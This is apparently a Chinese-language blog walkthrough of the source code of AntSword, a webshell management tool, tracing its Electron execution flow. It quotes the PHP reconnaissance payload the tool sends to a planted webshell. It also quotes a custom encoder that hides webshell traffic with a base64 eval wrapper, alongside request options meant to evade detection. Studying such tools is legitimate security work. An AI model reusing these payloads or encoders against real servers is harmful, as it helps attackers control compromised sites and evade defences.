中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。
任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担并将追究其相关责任!
知识点
Electron
ES6
dhtmlx
Nodejs
这个地方点一下,如果做过开发的小伙伴,尤其是前端开发,是真正的前端开发工程师哦,一定会比较熟悉electron/es6/node。。。。但是这个dhtmlx资料真的少。插个图片,表达下现在的心情。
貌似国内没怎么流行起来,没点基础还是不研究源码的好。闲话不多说,留个git链接。
https://github.com/AntSwordProject/antSword
开始我们的分析之旅。
目录结构
/antData/ 用户目录
/modules/ 蚁剑后端模块
/node_modules/ 安装的node模块
/source/ 核心模块
/base/ 自定义的功能类
/core/ payload模板
/language/ 语言模块
/modules/ 显示模块
/ui/ UI模块
/app.entry.js 渲染程序入口
/load.entry.js 前端加载模块
/static/ 静态资源文件
/views/ 前端文件/antData/ 用户目录
执行流程分析
下面开始进入主题,从git上下载最新版本的源码包,这里使用2.1.14最新版本做分析,先看下运行的起来的界面吧,不要使用加载器,要用IDE在窗口下运行,这样才方便程序调试和代码研究,electron的版本自己去选个合适的吧,坑很多这里。
1.主入口文件
app.js。这个就是程序的入口文件,因为它在pakeage.json包管理配置文件中指定了。
"name": "antsword",
"version": "2.1.14",
"description": "中国蚁剑是一款跨平台的开源网站管理工具",
"main": "app.js",
"dependencies": {
这个入口文件app.js主要功能点实现了下面几个:
注册静态资源
创建主进程加载主页面`ant-views://front/index.html`
初始化modules下的模块
// 初始化模块
[
'menubar',
'request',
'database',
'cache',
'update',
'plugStore'
].map((_) => {
new(require(`./modules/${_}`))(electron, app, mainWindow);
});
2.页面文件Views/front/index.html
<link rel="stylesheet" href="ant-static://css/index.css" />
<script src="ant-src://load.entry.js"></script>
3.载入程序source/load.entry.js,初始化ui
// 加载程序入口
require('app.entry');
//shellmanager模块初始化
['shellmanager', 'settings', 'plugin'].map((_) => {
let _module = require(`./modules/${_}/`);
antSword['modules'][_] = new _module();
});
//具体过程
constructor() {
const tabbar = antSword['tabbar'];
tabbar.addTab('tab_shellmanager', '<i class="fa fa-th-large"></i>', null, null, true, false);
const cell = tabbar.cells('tab_shellmanager');
const layout = cell.attachLayout('3T');
// 初始化顶侧栏:工具栏 - 插件
this.toolbar = new Toolbar(layout.cells('a'), this);
// 初始化左侧栏:数据
this.list = new List(layout.cells('b'), this);
// 初始化右侧栏:目录
this.category = new Category(layout.cells('c'), this);
this.searchPop = null;
this.searchForm = null;
this.initSearchUI();
4、加载数据
source/modules/shellmanager/index.js
const _data = Data.get(arg); //去请求数据,从本地数据库
// console.log(_data)
// 刷新UI::数据
通过get方法从数据库拿到添加的主机信息,方法名在source/modules/shellmanager/data.js
get: (arg = {}) => {
const ret = antSword['ipcRenderer'].sendSync('shell-find', arg);
// 解析数据
let data = [];
let category = {};
ret.map((_) => {
然后通过向主进程发送通信shell-find,拿取信息。文件在modules/database.js
findShell(event, opts = {}) {
opts = this.convertOptstoNedbQuery(opts);
logger.debug('findShell', opts);
this
.cursor
.find(opts)
.sort({
utime: -1
})
.exec((err, ret) => {
event.returnValue = ret || [];
});
}
取到结果,返回
/source/modules/shellmanager/index.js的reloadData方法,使用dhtmlx里面的组件grid进行渲染页面
// 刷新UI::数据
this
.list
.grid
.clearAll();
this
.list
.grid
.parse({
'rows': _data['data']
}, 'json');
// 刷新UI::分类
for (let _ in _data['category']) {
渲染完,进行绑定点击事件,在source/modules/shellmanager/grid.js的文件中:
// 监听事件
grid.attachEvent('onRightClick', this._onRightClick);
grid.attachEvent('onRowDblClicked', this._onRowDblClicked);
//主要看双击打开页面的效果。也就是_onRowDblClicked这个方法:
_onRowDblClicked(id, event) {
const info = antSword['ipcRenderer'].sendSync('shell-findOne', id);
// console.info(info)
new FileManager(info);
}
然后,FileManager方法传入从数据库读取的shell信息,,,进行发送请求,通过/source/modules/filemanager/index.js的构造方法constructor,
// console.log(antSword['core'][opts['type']]) //调用的类是哪个
this.core = new antSword['core'][opts['type']](opts); //实例化对应语言脚本的js,以php为例
this.core.request( //发送请求信息
this.core.base.info()
).then((ret) => {
this.core.base.info()这个返回值是/source/core/php/template/base.js文件下的info
module.exports = () => ({
info: {
_: `$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="")
$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D}\t";
if(substr($D,0,1)!="/"){
foreach(range("C","Z")as $L)
if(is_dir("{$L}:"))$R.="{$L}:";
}else{
$R.="/";
}
$R.="\t";
$u=(function_exists("posix_getegid"))[email protected]_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.="\t{$s}";
echo $R;`.replace(/\n\s+/g, '')
},
通过source/core/base.js里的request方法体,
// 发送请求数据
.send('request', {
url: this.__opts__['url'],
hash: hash,
data: opt['data'],
tag_s: opt['tag_s'],
tag_e: opt['tag_e'],
encode: this.__opts__['encode'],
ignoreHTTPS: (this.__opts__['otherConf'] || {})['ignore-https'] === 1,
useChunk: (this.__opts__['otherConf'] || {})['use-chunk'] === 1,
chunkStepMin: (this.__opts__['otherConf'] || {})['chunk-step-byte-min'] || 2,
chunkStepMax: (this.__opts__['otherConf'] || {})['chunk-step-byte-max'] || 3,
useMultipart: (this.__opts__['otherConf'] || {})['use-multipart'] === 1,
addMassData: (this.__opts__['otherConf'] || {})['add-MassData'] === 1,
randomPrefix: parseInt((this.__opts__['otherConf'] || {})['random-Prefix']),
useRandomVariable: (this.__opts__['otherConf'] || {})['use-random-variable'] === 1,
timeout: parseInt((this.__opts__['otherConf'] || {})['request-timeout']),
headers: (this.__opts__['httpConf'] || {})['headers'] || {},
body: (this.__opts__['httpConf'] || {})['body'] || {}
});
然后给主线程发送请求消息,在modules/requests.js下的onRequest方法
onRequest(event, opts) {
logger.debug('onRequest::opts', opts);
if (opts['url'].match(CONF.urlblacklist)) {
return event
.sender
.send('request-error-' + opts['hash'], "Blacklist URL");
}
let _request = superagent.post(opts['url']);
// 设置headers
_request.set('User-Agent', USER_AGENT.getRandom());
获取到信息后,再返回到source/modules/filemanager/index.js结构体内,执行ui初始化
.then((ret) => { //初始化ui
this.initUI(ret['text']);
this.cell.progressOff();
}).catch((err) => {
...
整个页面的显示大概流程就完事了。
自定义流量加密流程
加解密文件生成:
根据已有base64,实现简单的加密流程。
//加密
module.exports = (pwd, data, ext = null) => {
data["h"] = Buffer.from(data['_']).toString('base64');
data[pwd] = `@eval(@base64_decode($_POST['h']));`;
delete data['_'];
return data;
}
//解密
module.exports = {
/**
* @returns {string} asenc 将返回数据base64编码
*/
asoutput: () => {
return `function asenc($out){
return @base64_encode($out);
}
`.replace(/\n\s+/g, '');
},
/**
* 解码 Buffer
* @param {Buffer} buff 要被解码的 Buffer
* @returns {Buffer} 解码后的 Buffer
*/
decode_buff: (buff) => {
return Buffer.from(buff.toString(), 'base64');
}
}
数据流量包交互过程
根据获取文件的过程做加解码的测试,发送数据包入口filemanager/index.js